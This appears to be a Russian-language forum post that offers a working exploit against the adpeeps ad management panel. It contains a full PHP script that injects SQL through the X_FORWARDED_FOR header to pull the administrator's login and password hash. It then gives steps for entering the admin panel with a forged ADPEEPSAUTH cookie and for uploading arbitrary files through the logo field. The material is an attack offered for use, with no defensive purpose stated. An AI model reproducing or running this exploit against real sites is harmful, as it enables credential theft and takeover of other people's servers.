>> Сайт: http://adpeeps.com/ >> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие. >> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах. Вот пример сплойта, который получает логин и хеш админа. PHP: #!/usr/bin/php <? //title: Advertisement Management Control Panel if ($argc < 2) die($argv[0]." <host> <path> [<version>]\n"); $host = $argv[1]; $path = $argv[2]; $ver = @$argv[3]; $delimiter = "_".substr(md5(rand()),0,5)."_"; $sql = "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')"; function SendQuery ($host, $query) { GLOBAL $delimiter; $buff = ''; $fp = fsockopen($host, 80, $errno, $errstr, 10); if (!$fp) { echo "$errstr ($errno)<br />\n"; exit; } else { fwrite($fp, $query); while (!feof($fp)) $buff .= fgets($fp, 128); fclose($fp); } $result = explode($delimiter, $buff); return $result[1]; } //Определяем версию if (empty($ver)) { $ver = trim(@file_get_contents("http://".$host.$path."version.txt")); if (empty($ver)) die("Can't define the version\n"); echo "Current version: ".$ver."\n\n"; } //Выбираем эксплоит if ($ver == "8.5d2d" || $ver == "8.5d2c") { $ip = "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #"; } elseif ($ver == "8.5d1") { $ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #"; } else { die("Can't find exploit for version ".$ver."\n"); } //Получаем логин и хеш админа $query = "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n"; $query.= "Host: ".$host."\r\n"; $query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $query.= "Connection: close\r\n"; $query.= $ip."\r\n\r\n"; echo "~> Admin auth info: \n"; $result = SendQuery($host, $query); if (empty($result)) die("Exploit failed\n"); //$authkey = md5($loginname.$loginpassword); echo $result."\n\n"; ?> >> Вход в админку через cookie: + ADPEEPSAUTH=логин:хеш:0 >> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo" После загрузки файла он будет находится: + для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла + для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла